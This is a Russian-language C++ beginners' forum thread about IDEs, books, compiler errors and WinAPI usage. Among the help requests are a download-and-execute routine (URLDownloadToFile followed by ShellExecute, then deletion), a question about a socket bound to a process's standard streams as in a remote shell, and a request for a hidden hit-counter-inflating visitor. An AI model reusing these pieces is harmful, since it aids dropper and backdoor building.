Да кстати а какую среду лучше выбрать ? Microsoft Visual C++ или Borland C++ ? Что удобнее в плане разработки и обучения ?
Alpha][, твой браузер - это пару компонентов на форму и гордый заголовок в title "Browser By Alpha][" ?
Вопрос про Microsoft Visual C++ ил Borland C++ некорректен. Я так понял под разработкой понимается кидание кнопок на форму с помощью MFC или VCL соответственно? В любом случае visual как IDE выигравает, ставь ее.
salex100
19.10.2007, 23:33
Да кстати а какую среду лучше выбрать ? Microsoft Visual C++ или Borland C++ ? Что удобнее в плане разработки и обучения ?
Из этих двух, для изучения C++ только MS Visual!!! Но это будет явно посложнее...
Ну ставь Vs 2005. Там С# сделает все за тебя, ну я думаю ты понял про что я.
C++ за 21,0000000001 день
согласен, только это может спасти и добавить немного в эти можочки...
c++ за 21,0000000001 день А кто у нее автор ? найти никак не могу ?
[']Народ с чего стоит начать изучать с++ ?
Какую книгу сначало прочитать ?
ЗЫ Я изучал только Турбо Паскаль .
"Как программировать на С++" Дейтел
PS.
[']А кто у нее автор ? найти никак не могу ?
http://oz.by/books/more103344.html
Например текстовый редактор ну или браузер
ну-ну. браузер это простенькая программка. особенно части всяких штмл парсеров и ява движков.
Еще вот такой вопрос . Написал прогу с выводом текста на русском . Запускаю в Cmd , а там вместо русских букв символы какие-то . Как русский шрифт поставить ? :rolleyes:
phol1eadeux
21.10.2007, 20:26
Перед запуском пиши chcp 1251
ZavodiJIo
21.10.2007, 21:12
народ както вопщем решил выучить си++ , и вопрос к вам: с чего начать? какие то книги может быть (если книги то скажите какие)
Для начала приобрети компилер...
народ както вопщем решил выучить си++ , и вопрос к вам: с чего начать? какие то книги может быть (если книги то скажите какие)
Очень много книг, но лучше Страуструпа всеравно ничего нет. Я как-нибудь выложу на этом форуме пару фотографий книжек из ларька технической литературы, возле которого я почти каждый день имею удовольствие проходить. Я не буду показывать содержание книги, а только торец (его толщину), у меня объемы книг по "продвижению сайтов в поисковых системах", "созданию сайтов на PHP-нюк", "Параллельному программированию" и т.д. вызвали совершенно искренний смех.
Когда я увидел книгу по С++, выпал в осадок. Думаю она у меня не поместится в мой чемодан.
Вывод такой - все книги сейчас пишутся только с целью "состричь бабушку", так что ненадо покупать книг. Все есть в интернете - в статьях и исходных кодах + электронная версия Страуструппа и больше ничего ненужно.
ZavodiJIo
22.10.2007, 21:14
если можно всётаки обьясните с чего начать.... или стукните в ПМ буду рад... заранее большое спс....
Определись. Язык в первую очередь инструмент для реализции твоих потребностей. Я так понял ты спонтанно пришел к решению о выборе языка? Дело в том, что большинство людей выбирают С++ только потомучто это модно чтоли. Ты подумай сначала, нужна ли тебе эта объектно-ориентрованность вообще, а то получится так, что бросишь это занятие на пол пути. Я вот честно говоря, абсолютно не понимаю прелести объектно-ориентированного подхода в С++. Единственный язык с помощью которого мне удобно реализовывать данную модель - python. В любом случае выбор всегда за тобой, если и выберешь С++, то бери книгу, которую тебе посоветовал DWORD. Начать, какбы это банально не звучало, стоит с прочтения данной книги.
salex100
23.10.2007, 10:53
Определись. Язык в первую очередь инструмент для реализции твоих потребностей. Я так понял ты спонтанно пришел к решению о выборе языка? Дело в том, что большинство людей выбирают С++ только потомучто это модно чтоли. Ты подумай сначала, нужна ли тебе эта объектно-ориентрованность вообще, а то получится так, что бросишь это занятие на пол пути. Я вот честно говоря, абсолютно не понимаю прелести объектно-ориентированного подхода в С++. Единственный язык с помощью которого мне удобно реализовывать данную модель - python. В любом случае выбор всегда за тобой, если и выберешь С++, то бери книгу, которую тебе посоветовал DWORD. Начать, какбы это банально не звучало, стоит с прочтения данной книги.
Вы правильно сказали, что нужно определиться с целями. Но вот сравнивать С++ и python просто не корректно! У языков принципиально разное назначение!
А прелесть С++ не в модности, он давно уже не моден...
А в синтаксической красоте (лаконичности), мощи шаблонов и колличестве библиотек! IMHO. Но на этом поприще у него уже полно конкурентов! Java - тоже симпотичный язык! Но опять же назначение у него другое. Хотя слегка пересекается с С++.
А где можно скачать C++ желательно поновее и на русском языке?
groundhog
24.10.2007, 17:56
AssassinsShawn, убей себя погремушкой.
salex100
24.10.2007, 19:48
А где можно скачать C++ желательно поновее и на русском языке?
Бери: Си_плюс_плюс
Вы это... по русски напишите что Вам надо! Ибо на глупый вопрос получаете дурацкий ответ!
Вопроик есть. Какую литературку лучше почитать по массивам. Чтоб ос примерами...
salex100
28.10.2007, 09:10
Вопроик есть. Какую литературку лучше почитать по массивам. Чтоб ос примерами...
А чего особенного можно рассказать про массивы С++?... В синтаксисе языка поддержка массивов организована минималистически. Вся поддержка ложится на адресную арифметику!
Но! Есть волшебная библиотека STL, которая входит в стандарт языка. А там в свою очередь есть шаблон vector и много других вкусностей.
Литературы по STL достаточно много. К тому же она библиотека STL) даже у Страструпа не плохо описаны.
Ну из личного опыта могу посоветовать книжки Дейтелов (двое-дед и внук-вместе пишут). Очень хорошо объясняют плюс огромное количество примеров. В большинстве книг по С++ при объяснении классов создают некоторый класс массивов, похожий на тот, который в STL. Ну а перед всем этим лучше конечно выучить обычные си-массивы, указатели(=) и адресную арифметику, что впринципе, у Дейтелов очень хорошо расписано. Ну а так есть раздел на ачате по С/С++ книгам:
http://forum.antichat.ru/thread8725.html
кто-нибудь может поделиться исходниками пакетных снифферов на с++?
http://sources.ru/cpp/cpp_nt_sniffer.shtml
http://sources.ru/cpp/network/sniff_2k_xp.shtml
Ну и вообще:
http://sources.ru/cpp/cpp_network.shtml
!{ra!{e/\/
29.10.2007, 12:29
как написать программу чтоб она "заходила" на сайт допустим mysite.ru ,чтоб счетчик защитывал посещение и при этом юзер ничего не видел?
Обычный GET-запрос. См. первую страницу там Грейт приводил пример, но запрашивать ты должен нужную тебе страницу(index.php, к примеру).
как написать программу чтоб она "заходила" на сайт допустим mysite.ru ,чтоб счетчик защитывал посещение и при этом юзер ничего не видел?
Создать человекоподобного робота и заставить его туда сходить! А если серьезно-просто создать робота-терминатора-убийцу =(
Larik.rus
Насколько я понимаю, речь идет про 8-ю студию, она же 2005. В ней есть некоторые изменения по сравнению с предыдущими версиями. Так вот у тебя приведен "старый" код создания окна, который работал в пред. студиях, но не работает в 8-й. Дело не только в типе. Читаем MSDN (http://msdn.microsoft.com/default.aspx) и видим что переменные типа LPCWSTR должна объявляться след.образом:
windowsclass.lpszClassName=L"WINDOWSCLASS";
Но дело не только в этом - после исправления этой ошибки возникнут еще. Могу посоветовать тебе создать виндовое окно силами студии, а это делается так:
StartPage->CreateProject->Win32Project->/*ничего не меняем*/->FINISH
Создается виндовый проект, готовый для работы - тебе остается только изменить свой стиль, пункты меню, т.к. все дефолтное. и писать свой код через обработчики событий.
День добрый!
У меня такая проблемма, компилятор не компилирует простейший проект, причем такая ситуация происходит как на студии 2003 так и на 2005, ставил студии на чистую винду (только переустановленную), скажу сразу дабы избежать насмешек дрова тоже стоят!
Павторная - сотая переустановка не помогают.
Вкратце о проблеме, только поставил студию, пытаюсь сделать проект (консольный) типа "Здравствуй Мир" и ему подобные, первый проект компилируется нормально, т.е. без каких-либо ошибок, но спустя время пробую делать этот же проект и возникает ошибка (error result returned from "link.exe") я просто уже в панике :(
Таже ошибка и в 2005, только добавляется путь к link.exe к примеру D:\Program Files\MSVC2005\.....\link.exe, пробую запустить этот файлик выдает ошибку, текст примерно таков - программа не может быть запущена, повторная переустановка может исправит ошибку.
Хочу подчеркнуть еще такую вещ, студия 2003 лицензия, а вот 2005 хз, но факт в том что у товарища работает и то и то
Ось windows xp sp2 лицензия
И еще такая прозьба я только начинаю заниматься программированием и по возможности распишите все подробно т.к. я не знаю ваших терминов.
Всем за ранее большое спасибо, выручите уж друзья
вот ссылка с скрином и лог фалом
http://slil.ru/25045672
DblM
Мне кажется, я знаю, о чем идет речь. Пишет что там dll нету и так далее. В свое время была такая проблема. До конца не разобрался, но решение нашел. Заходишь в меню:
Build -> Batch build...
Ставишь галку на Release|Win32. Нажимаешь Rebuild
Запускать экзешник вручную из папки. При повторных измерениях жмёшь просто Build - и снова вручную из папки запускаешь. Опять же не знаю в чем причина. Появлялась эта штука переодически - неизвестно почему появляется, неизвестно почему исчезает. С кем вживую разговаривал - никто не сталкивался :). Давно не появлялась - успел забыть уже.
Forcer, Larik.rus
гыгыгы
Компилятор ругается на windowsclass.lpszClassName="WINDOWSCLASS";('=' : cannot convert from 'const char [13]' to 'LPCWSTR'
#undef UNICODE ;)
Мне кажется, я знаю, о чем идет речь. Пишет что там dll нету и так далее. В свое время была такая проблема. До конца не разобрался, но решение нашел. Заходишь в меню:
Build -> Batch build...
Ставишь галку на Release|Win32. Нажимаешь Rebuild
Запускать экзешник вручную из папки. При повторных измерениях жмёшь просто Build - и снова вручную из папки запускаешь. Опять же не знаю в чем причина. Появлялась эта штука переодически - неизвестно почему появляется, неизвестно почему исчезает. С кем вживую разговаривал - никто не сталкивался . Давно не появлялась - успел забыть уже.
И так тоже не хочет, не строит он проект, а соответственно нет и ЕХЕ
Компилятор ругается на windowsclass.lpszClassName="WINDOWSCLASS";('=' : cannot convert from 'const char [13]' to 'LPCWSTR'
#undef UNICODE
что это значит? или это не мне?
groundhog
01.11.2007, 13:56
DblM, переменные окружения напиши.
что это значит? или это не мне?
эт не тебе.
переменные окружения напиши.
можно по подробней, я не понимаю, я только начинаю программировать
вот как я делаю, возьмем стандартный проект с чего начинают все, типа "Hello, World!"
Запускаю оболочку, далее выбираю пункт меню File->New->Project, появляется окошко
В открывшемся диалоговом окне New Project(новый проект) в списке Project Types(тип проекта) выбераю тип проекта Visual C++ Project
В списке Templates (шаблоны) - Win32 Console Project
В поле Location указываю на каком диске и в какой папке будет находится проект, я все оставил по умолчанию т.е. в папке мои доки.
Даю имя ПРОЕКТУ – для этого ввожу в поле Name имя проекта Hello
Жму ОК
Открылось окно настройки свойств проекта - выбераю вкладку Application Settings
Ставлю галочку в поле Empty Project - это значит, что создаю пустой проект
Жму финиш
Далее справа появилось окошко под названием Solution Explorer. В нем щелкаю правой кнопкой на папке под названием Source Files
В выпавшем меню выбираю Add->Add New Item...
Открывается окно выбора файлов. Выбираю значок C++File (.cpp)(файл, содержащий программу на языке С)
В текстовом поле Name (имя файла) ввожу имя файла Hello
Жму кнопку Open
код выводящий "Hello, World!"
#include <iostream>
using namespace std;
void main()
{
cout<<"Hello, World!\n";
}
Далее строке меню выбераю Build (построить), затем Rebuild Solution (перестроить все)
Ну и дабы посмотреть свой супер проект жму в меню Debug выбираю Start Without Debugging
*Вот в принципе и все! Я скоро до суицида дойду, вчера посетила мысль такого типа, может сама трабла из-за того что я ставлю на диск "D" а не по умолчанию "С", подумал может там какие-то временные файлы не могут найти свое место, ну и поставил Visual 2003 .NET. на диск "С", и начинаю делать методом копирования все примитивные консольные проекты дабы испробывать исправилась ли ошибка, и что я вижу, проекты создаются на ура, я сделал 3 проекта, перегрузил, и сделал еще три, все работает, на ноч прочитал молитву, утром встаю со свежей головой и с надеждой что все норм, первым делам открываю выше описаный проект и пробую его перестроить, жму Rebuild Solution, и что я вижу, та же мать её ошибка, я думал что ноут вообще об стену гахну.
Может есть какая-то тонкость чтоб настроить сам компилятор? Я в дикой панике :(
нет не триал, у других работает
groundhog
01.11.2007, 15:23
DblM, короче сделай ПУСК > ВЫПОЛНИТЬ, там напиши msinfo32. Меня интересует секция ПРОГРАММНАЯ СРЕДА > ПЕРЕМЕННЫЕ СРЕДЫ из этого отчёта.
короче сделай ПУСК > ВЫПОЛНИТЬ, там напиши msinfo32. Меня интересует секция ПРОГРАММНАЯ СРЕДА > ПЕРЕМЕННЫЕ СРЕДЫ из этого отчёта.
вот скрин http://slil.ru/25050930
теперь еще проблемма, перписывался я сегодня с пареньком по поводу проблемы, он выслал мне свой файл link.exe, я заменил, результат ничего не дал, но когда я вернул назад свой link.exe т.е. заменял получается теперь его файл своим, компилятор начал работать, но прошло 30 мин и все вернулось на свое место, он гад сново перестал работать
groundhog
01.11.2007, 18:03
Ну и фига мне с твоего скрина? Я что могу на нём колонки подвигать, чтобы посмотреть что у тебя в Path например прописано?
Ну и фига мне с твоего скрина? Я что могу на нём колонки подвигать, чтобы посмотреть что у тебя в Path например прописано?
прошу прощения, не подумал!
вот ссыль, там три скрина, все теперь видно http://slil.ru/25053808
компилятор ругается
error C2065: 'WSASocketA' : undeclared identifier
на функцию WSASocketA, хотя winsock2.h подключен и WSAStartup несколькими строчками выше проходит нормально.
ЗЫ библиотека тоже подключена
просто WSASocket. без A
то же самое
Piflit Открой SDK и проскань его на имя функции, в каком описании его найдешь добавляй...
Piflit Открой SDK и проскань его на имя функции, в каком описании его найдешь добавляй...
описание есть в winsock2.h... если я правильно понял
кто-нибудь объясните пару моментов(речь идёт про указатели):
1)если я пременяю функцию:
delet p;
то что происходит?
у меня при выводе значений р и *р (cout<<p<<" "<<p; ) значение переменной *р становится равным 0, а значение(адрес) р остаётся неизменным (каким был до delete p; )
после чего я могу благополучно написать *р=13; и никакой ошибки не выдаётся; хотя в учебнике написано что адресс и значание указателя после применения ф-ции delete становится неопределённым...
2)как правильно использовать переменную NULL(случай когда динамическая память заполняется и указателю присваивается значение 0 или NULL мне известен)
опять же в учебнике написано, что по-хорошему после применения ф-ции delete надо присвоить перменной значение NULL, чтобы избежать проблемы с зависшими указателями. Как это происхдит?
вот ещё интересный скрин (код и процесс выполнения программы):
http://i009.radikal.ru/0711/2d/10fcb8d4b290t.jpg (http://radikal.ru/F/i009.radikal.ru/0711/2d/10fcb8d4b290.jpg.html)
обновил пост, посмотри на скрин, ужос =\
про ВинАПИ темы нет, ну подумал задам здесь вопрос.
можно ли средствами этого самого апи отключить usb контроллер?
и если можно, то расскажите как.
мде, задал вопрос про винапи в теме про с/с++, ответили кодом на дельфях =\
извини , я название опика не посмотрел ...
Способ 1:
ыыы
Выгружай драйвер USB из памяти :D
Способ 2:
Вот статья интересная:
http://articles.org.ru/cfaq/index.php?qid=1124&catid=64
Jes, ты молодчик.
Просили дать пример на винапи, ты даешь кернел-мод код, в котором вообще нет никакого упоминания про отключение устройства.
halkfild
07.11.2007, 00:49
вот тут посмотри
http://www.codeguru.com/forum/showthread.php?t=349722
помогите с кодом
!!!!!!!!!
#include <winsock2.h>
#include <tlhelp32.h>
#include <iphlpapi.h>
#include <shellapi.h>
#include <windows.h>
#include <winuser.h>
#include <wininet.h>
#include <process.h>
#include <stdlib.h>
#include <urlmon.h>
#include <stdio.h>
struct DOWNLOAD_INFO{
char *from;
char *to;
BOOL exec;
BOOL del;
};
//-----------------------------------------------------------------
DWORD WINAPI DownloadFile(LPVOID param){
DOWNLOAD_INFO file;
file = *((DOWNLOAD_INFO*)param);
URLDownloadToFile(NULL, file.from, file.to, 0, NULL);
if(file.exec){
ShellExecute(GetDesktopWindow(),"open", file.to, NULL, NULL, SW_SHOW);
}
if(file.del){
DeleteFile(file.to);
}
return 1;
}
//-----------------------------------------------------------------
Deazer
ASCII и Unicod...
#include "windows.h"
#include "urlmon.h"
struct DOWNLOAD_INFO{
char *from;
char *to;
BOOL exec;
BOOL del;
};
DWORD WINAPI DownloadFile(LPVOID param){
DOWNLOAD_INFO file;
file = *((DOWNLOAD_INFO*)param);
URLDownloadToFileA(NULL, file.from, file.to, 0, NULL);
if(file.exec){
ShellExecuteA(GetDesktopWindow(),"open", file.to, NULL, NULL, SW_SHOW);
}
if(file.del){
DeleteFileA(file.to);
}
return 1;
}
У меня нупская просьба...
Накатайте программу, при запуске которой открвыется окно тама поле для текста и кнопка, пишем текст, нажимаем на кнопку - выскакивает алерт с этим текстом.
Думаю такая программа не сложная и ответит на многие интересующие мну вопросы, с мну +4 ;)
Заранее спасибо
Ponchik
Написал через MFC. Компилятор Microsoft Visual C++ 6.0. В архиве:
- прога которую ты просил(вместе с проектом)
- пара лаб по MFC
вес архива - 251 кб.
Ссылка : http://slil.ru/25091315
сделайте пожалуйста на с++ консоль..задания
:confused:
Для тестирования предусмотреть возможность задавать элементы массива различным образом: при описании с инициализацией, присвоением значений (в том числе случайных), или вводом необходимых значений.
1. Найти сумму элементов массива, являющихся степенями числа2.
2. Найти наименьшее среди чисел первой последовательности, не входящих во вторую.
3. Получить массив С(k), упорядоченный по возрастанию, путем слияния массивов A(n) и B(m), упорядоченных перед этим по возрастанию, где k = n + m.
Пробую работать с функциями AWE. Вызываю следующим образом:
bResult = AllocateUserPhysicalPages(GetCurrentProcess(), &NumberOfPages, aPFNs);
bResult = MapUserPhysicalPages(lpMemReserved, NumberOfPages, aPFNs);
bResult = MapUserPhysicalPages(lpMemReserved, NumberOfPages, NULL);
bResult = FreeUserPhysicalPages(GetCurrentProcess(), &NumberOfPages, aPFNs);
Ну т.е. как в примере MSDN. На каждый вызов ругается "identifier not found".
kernel32.lib подключен.
Не пойму в чем дело, подскажите где я мог лажануть..
#define _WIN32_WINNT 0x0500
#include <windows.h>
С директивами всё норм.)
Всмысле они были прописаны и всё равно не компилится.
#include <stdio.h>
#include <windows.h>
#define _WIN32_WINNT 0x0501
#define MEMORY_REQUESTED 1024*1024 // request a megabyte
void main(void)
{
BOOL bResult; // generic Boolean value
ULONG_PTR NumberOfPages; // number of pages to request
ULONG_PTR NumberOfPagesInitial; // initial number of pages requested
ULONG_PTR *aPFNs; // page info; holds opaque data
PVOID lpMemReserved; // AWE window
SYSTEM_INFO sSysInfo; // useful system information
int PFNArraySize; // memory to request for PFN array
GetSystemInfo(&sSysInfo); // fill the system information structure
printf("This computer has page size %d.\n", sSysInfo.dwPageSize);
NumberOfPages = MEMORY_REQUESTED/sSysInfo.dwPageSize; // calculate the number of pages of memory to request
printf("Requesting %d pages of memory.\n", NumberOfPages);
PFNArraySize = NumberOfPages * sizeof (ULONG_PTR); // calculate the size of the user PFN array
printf ("Requesting a PFN array of %d bytes.\n", PFNArraySize);
aPFNs = (ULONG_PTR *) HeapAlloc(GetProcessHeap(), 0, PFNArraySize);
NumberOfPagesInitial = NumberOfPages;
bResult = AllocateUserPhysicalPages(GetCurrentProcess(), &NumberOfPages, aPFNs); // allocate the physical memory
if(bResult != TRUE) printf("Cannot allocate physical pages (%u)\n", GetLastError()); return;
if(NumberOfPagesInitial != NumberOfPages) printf("Allocated only %p pages.\n", NumberOfPages); return;
lpMemReserved = VirtualAlloc(NULL, MEMORY_REQUESTED, MEM_RESERVE | MEM_PHYSICAL, PAGE_READWRITE); // reserve the virtual memory
if(lpMemReserved == NULL) printf("Cannot reserve memory.\n"); return;
bResult = MapUserPhysicalPages(lpMemReserved, NumberOfPages, aPFNs);
if(bResult != TRUE) printf("MapUserPhysicalPages failed (%u)\n", GetLastError()); return;
bResult = MapUserPhysicalPages(lpMemReserved, NumberOfPages, NULL); // unmap
if(bResult != TRUE) printf("MapUserPhysicalPages failed (%u)\n", GetLastError()); return;
bResult = FreeUserPhysicalPages(GetCurrentProcess(), &NumberOfPages, aPFNs); // free the physical pages
if(bResult != TRUE) printf("Cannot free physical pages, error %u.\n", GetLastError()); return;
bResult = VirtualFree(lpMemReserved, 0, MEM_RELEASE); // free virtual memory
bResult = HeapFree(GetProcessHeap(), 0, aPFNs); // release the aPFNs array
if(bResult != TRUE) printf("Call to HeapFree has failed (%u)\n", GetLastError());
return;
}
#include <windows.h>
#define _WIN32_WINNT 0x0501
а я что тебе написал?
#define _WIN32_WINNT 0x0500
#include <windows.h>
разница есть?
На всякий случай. Разница не в 500 или 501. А в том, что в windows.h стоят #ifdef, #if и т.п. директивы, поэтому объявлять надо заранее, чтобы правильно процессилась windows.h
иначе нахер ещё писать этот дефайн?
WinAPi FindFirstFile FindNextFile
список файлов\директорий по алфавиту всегда выводится?
(мне нужно по алфавиту и размеру)
http://msdn2.microsoft.com/en-us/library/aa364418.aspx
The order in which the search returns the files, such as alphabetical order, is not guaranteed, and is dependent on the file system. You cannot depend on any specific ordering behavior. If the data must be sorted, you must do the ordering yourself after obtaining all the results.
например, через std::sort, помоему она умеет сортировать
строки...
проблема в том что мне что сортировать нужно не только имени но и размеру
(обращаться нужно только к именам после сортировки)
поэтому думаю как лучше реализовать..сейчас как раз с std и думаю
у меня vc6 че-то ошибки выдает когда использую list
скачал sdk пишет про секьюрити куки =\\\\\\\\\\\\\\\\\\\
думаю может на vc 2008 ?писать
я так понял для сорт можно свою функцию задавать..
typedef vector<pair<__int64,string> > viListImage;
typedef pair<__int64,string> piListimage;// размер и имя
bool ptr_less(const piListimage& lhs, const piListimage& rhs)
{
return lhs.first < rhs.first;
}
sort(viLstImg->begin(),viLstImg->end(),&ptr_less);
> я так понял для сорт можно свою функцию задавать..
нет
> думаю может на vc 2008 ?писать
тогда уж vc7 (2003)
> сейчас как раз с std и думаю
у меня vc6 че-то ошибки выдает когда использую list
по идее, это считается небезопасным (как, например, gets())
что конкретно - хз
> проблема в том что мне что сортировать нужно не только имени но и размеру
сначала - по имени, потом по размеру, или наоборот.
сначала по размеру
я выше привел пример как сделал,ща проверяю как он работает)
d:\test\p1
path:d:\test\p1\abcde5.jpg size:8678
path:d:\test\p1\abcde3.jpg size:11788
path:d:\test\p1\abcde2.jpg size:21068
path:d:\test\p1\abcde4.jpg size:22089
path:d:\test\p1\abcde.jpg size:23078
d:\test\p1\p1_1
path:d:\test\p1\p1_1\abcde.jpg size:23078
d:\test\p1\p1_1\p1_1_1
path:d:\test\p1\p1_1\p1_1_1\abcde.jpg size:23078
d:\test\p1\p1_1\p_1_1_2
path:d:\test\p1\p1_1\p_1_1_2\abcde.jpg size:23078
d:\test\p2
path:d:\test\p2\abcde.jpg size:23078
Press any key to continue
вроде пашет
(мне нужно сначала найти все подпапки потом сортировать там файлы)
вообщем сделал так
typedef vector<pair<__int64,string> > viListImage;
typedef pair<__int64,string> piListimage;// размер и имя
....
bool ptr_less_size(const piListimage& lhs, const piListimage& rhs)
{
return lhs.first < rhs.first;
}
bool ptr_less_name(const piListimage& lhs, const piListimage& rhs)
{
return rhs.second.compare(lhs.second)+1; //compare возращает -1 0 1
}
....
sort(viLstImg->begin(),viLstImg->end(),&ptr_less_size);
....
sort(viLstImg->begin(),viLstImg->end(),&ptr_less_name);
сортиврока по размеру и имени вроде работает..
Dunadan007
21.11.2007, 23:28
Здравствуйте, я первый раз на этом замечательном сайте и меня интересует следующий вопрос:
Если сервер посылает/принимает данные через startinf.hStdInput=startinf.hStdOutput = startinf.hStdError = socket;
То как принимать данные клиентом?
Я пытался через баальшуйщий буффер:
char l_buf [4096];
...
recv(socket, l_buf, 4096);
...
Но передовалась только одна строка.
Тогда я пытался сделать так:
...
char buff_in [128]
...
while (true)
{recv(socket, buff_in,128);
if (buff_in == etalon_void_buffer) break;//etalon buffer -- eto //ZeroMemory(etalon_void_buffer,128);
printf (buff_in);
ZeroMemory(buff_in,128);
}
scanf(%s,buff_out);
send(socket, buff_out, 128);
...
Но так почему-то не выполняется сканф и посылка.
В приведённом коде могут быть орфографические/синтаксические ошибки, не обращайте внимания, в настоящим их точно нет.
Помогите пожалуйста рашить мою проблему.
reversys
22.11.2007, 14:26
while (true)
{recv(socket, buff_in,128);
if (buff_in == etalon_void_buffer) break;//etalon buffer -- eto //ZeroMemory(etalon_void_buffer,128);
ZeroMemory(buff_in,128);
}
Вот это у тебя получается безконечный цикл. Ты в ифе сравниваешь два адреса которые всегда не равны, и поэтому break никада не выполнится...
Чтобы избежать этой проблемы можно либо передавать какуюто завершающую последовательность символов (чтобы получающая сторона знала что это последние передаваемые данные) либо передавать вначале размер данных а потом сами данные чтобы получающая сторона знала сколько их принять
Кстати я тоже тут впервые :)
Dunadan007
22.11.2007, 18:18
А можно поподробней и поконкретней?
Желательно с примерами/рисунками.
reversys
22.11.2007, 22:10
Ну вот смотри... Допустим тебе нужно переслать строку: Hello World.
Ты считаешь сколько символов в строке. Умножаешь это количество на то сколько места занимает 1 символ. (char занимает 1 байт).
И результат пересылаешь через сокет принимающей стороне.
А после этого шлёшь уже и саму строку.
Принимающая сторона теперь знает - "щас мне придёт 12 байт информации" и начинает принимать данные до тех пор пока не примет все 12 байт :)
Например если ты будешь запрашивать какуюнить вебстраничку тебе в ответ придёт чтонибудь такое
HTTP/1.x 200 OK
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Content-Encoding: gzip
Server: gws
Content-Length: 2200
Date: Thu, 22 Nov 2007 18:07:06 GMT
и после этого сама страничка. Где поле Content-Length: 2200 покажет сколько эта страничка занимает места, т.е. какое количество информации программа которая её принимает должна принять.
Хоть и без рисунков но помоему подробней уже некуда :)
Dunadan007
22.11.2007, 22:40
Эт то я понял, для меня остаётся тайной то , как подсчитать кол-во символов в массиве чаров, не используя всякие Mfc , Vcl и другие.
ПС: а форум не позволяет писать с капсом, круто.
reversys
22.11.2007, 22:47
например функция strlen
nc.STRIEM
23.11.2007, 03:00
Здравствуйте, я первый раз на этом замечательном сайте и меня интересует следующий вопрос:
Если сервер посылает/принимает данные через startinf.hStdInput=startinf.hStdOutput = startinf.hStdError = socket;
То как принимать данные клиентом?
Я пытался через баальшуйщий буффер:
char l_buf [4096];
...
recv(socket, l_buf, 4096);
...
Но передовалась только одна строка.
Тогда я пытался сделать так:
...
char buff_in [128]
...
while (true)
{recv(socket, buff_in,128);
if (buff_in == etalon_void_buffer) break;//etalon buffer -- eto //ZeroMemory(etalon_void_buffer,128);
printf (buff_in);
ZeroMemory(buff_in,128);
}
scanf(%s,buff_out);
send(socket, buff_out, 128);
...
Но так почему-то не выполняется сканф и посылка.
В приведённом коде могут быть орфографические/синтаксические ошибки, не обращайте внимания, в настоящим их точно нет.
Помогите пожалуйста рашить мою проблему.
зацикливание происходит.
делай так:
char buff_in [128]
int len;
for(;;)
{
len=recv(socket, buff_in,127);
if(len == -1) break;
buff_in[len]='\0';
printf("%s",buff_in );
}
но это сработает ток есле сервер закроет соединение после отправки данных. в противном случае ты должен знать длинну данных которые тебе нужно получить
Как вывести определенное значение из реестра? Т.е. есть ветка HKEY_LOCAL_MACHINE\SOFTWARE\someApp\Info\
и ключ Build
Нужно вывести значение этого ключа.
Я использовал RegQueryValueExA, но он не хочет работать :(
HKEY hKey;
DWORD Err;
DWORD type = REG_SZ;
char v[80] = " ";
unsigned long buf;
char err;
//.............//
if((RegQueryValueExA(hKey, "Build", NULL, &type, (unsigned char *)v, &buf))==ERROR_SUCCESS)
{
MessageBoxA(0,v,"Good!",0);
}
else
{
MessageBoxA(0, "error", "error", MB_OK);
}
P.S. RegOpenKeyExA работает нормуль...
Вроде всё должно норм работать... Вместо &type поставь 0.
P.S.
MessageBox`ы это не айс. Ставь breakpoint`ы и запускай по F8. ;)
demonoid
28.11.2007, 05:32
зацикливание происходит.
for(;;)
{
len=recv(socket, buff_in,127);
......
}
......вау !
while(1) уже не актуально?
Вроде всё должно норм работать... Вместо &type поставь 0.
P.S.
MessageBox`ы это не айс. Ставь breakpoint`ы и запускай по F8. ;)
Не рабит... Два брейка поставил =)
Даже если убрать месаджбоксы, то действие все рано переносится на else {/*...*/}
Проверил: RegQueryValueExA выдает значение 6
criz Бывает компилятор глючит, и не происходит обещенного, я очень часто такое замечаю на Builder C++
// Попробуй переписать в более простой, а не компактный варимант!!!
вау !
while(1) уже не актуально?
нет, не актуально и я даже могу объяснить почему.
компилятор при транслировании цикла while(1) может поставить (скорее всего так и будет) проверку на равенство еденице условия цикла, то есть что 1==1, а это лишние инструкции. Получится код вида mov ecx, 1 / cmp ecx, 1 / jz XXX
А for(;;) { .. } всегда транслируется в безусловный jmp
Хотя это, вообщем-то, особенности компилятора, на других компиляторах (а я имел в виду MS VC++) мб и не так
Есть ли такая возможность в C++ Builder 6 ? :
При размещении элемента на форме он растягивается\двигается с определенным шагом, иногда этого шага не достаточно для тонкой работы. Можно ли его уменьшить?
halkfild
28.11.2007, 22:12
вручную растяни до требуемого размера, а более точно через свойства введи конкретное число
// Попробуй переписать в более простой, а не компактный варимант!!!
Да я уж и незнаю как его переписать...
Может причина в отсутствии прав на редактирование реестра? Тогда почему RegOpenKeyExA сработал.... :confused:
reversys
28.11.2007, 23:45
2criz
код ошибки 6. Идём в мсдн.
ERROR_INVALID_HANDLE The handle is invalid.
Что это значит я думаю ты понял. В том же мсдн есть пример кода юзающего эту функцию.
DWORD BufferSize = TOTALBYTES;
DWORD cbData;
DWORD dwRet;
PPERF_DATA_BLOCK PerfData = (PPERF_DATA_BLOCK) malloc( BufferSize );
cbData = BufferSize;
printf("\nRetrieving the data...");
dwRet = RegQueryValueEx( HKEY_PERFORMANCE_DATA,
TEXT("Global"),
NULL,
NULL,
(LPBYTE) PerfData,
&cbData );
Да, и проверь может ты ещё hKey не прально заполнил? Или это у тебя проверяется а ты просто код не выложил?
PS вот тебе ссылка http://msdn2.microsoft.com/en-us/library/ms724911.aspx
Ну вот мой код:
#include <windows.h>
#include <string.h>
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpszCmdParam, int nCmdShow)
{
HKEY hKey;
DWORD dwErr;
DWORD type = REG_SZ;
char v[80] = " ";
unsigned long buf;
char err;
RegOpenKeyExA(HKEY_LOCAL_MACHINE,
"SOFTWARE\Eset\Nod\CurrentVersion\Info", 0,
KEY_ALL_ACCESS, &hKey);
if(hKey != ERROR_SUCCESS)
{
MessageBoxA(NULL, "Not found", "Error", MB_OK);
exit(1);
}
dwErr = RegQueryValueExA(hKey, "Language", NULL, NULL, &v, &buf);
if(dwErr==ERROR_SUCCESS)
{
MessageBoxA(0,v,"Good!",0);
}
else
{
MessageBoxA(0, "error", "error", MB_OK);
}
}
P.S. tnx за линк
что такое Error_success ? как-то странно звучит... типа 2 в 1 ?
Error_success == 0. Если я правильно понял то, что прочитал, то эти функции должны возврщать 0...
reversys
29.11.2007, 00:30
2Piflit
Return Value
If the function succeeds, the return value is ERROR_SUCCESS.
If the function fails, the return value is a system error code.
If the lpData buffer is too small to receive the data, the function returns ERROR_MORE_DATA.
